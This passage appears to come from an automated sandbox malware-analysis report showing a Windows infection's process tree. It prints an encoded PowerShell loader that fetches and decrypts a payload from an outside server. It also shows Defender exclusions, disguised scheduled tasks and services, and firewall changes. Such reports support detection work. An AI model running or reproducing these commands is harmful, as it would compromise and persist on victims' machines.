BbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exekikikmoralibrary.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yje1azke\yje1azke.cmdline"4⤵
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c0jddwsl\c0jddwsl.cmdline"4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit4⤵
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit4⤵
-
C:\Windows\system32\sc.exesc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit4⤵
-
C:\Windows\system32\sc.exesc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc start "System Diagnostics Host" & exit4⤵
-
C:\Windows\system32\sc.exesc start "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hnmh.exehnmh.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fo4translator.exefo4translator.exe3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\RDQDht\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\RDQDht\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\RDQDht\executavel_temporario.exe"C:\Users\Admin\AppData\Local\RDQDht\executavel_temporario.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
C:\Users\Admin\AppData\Local\RDQDht\executavel_temporario.exeC:\Users\Admin\AppData\Local\RDQDht\executavel_temporario.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
C:\Users\Admin\AppData\Local\383ba8f7-72c7-4b71-bd96-a100a863ffe7\background.exe"C:\Users\Admin\AppData\Local\383ba8f7-72c7-4b71-bd96-a100a863ffe7\background.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jhgkuyyg.exejhgkuyyg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MDClient.exeMDClient.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\re4vlp5f.ps3"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\re4vlp5f.ps3 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\re4vlp5f.ps3\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\re4vlp5f.ps3 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ojujn.exeojujn.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exefile_a6357da6a05d7266.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3902da73ea75370d\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\sunwukongs.exesunwukongs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Ultimately.a3x4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exenet_launcher.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\2F92A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fhpevzbb\fhpevzbb.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB4AB.tmp" "c:\Users\Admin\AppData\Local\Temp\fhpevzbb\CSCB068134597524F64A1358A928C727741.TMP"6⤵
-
-
-
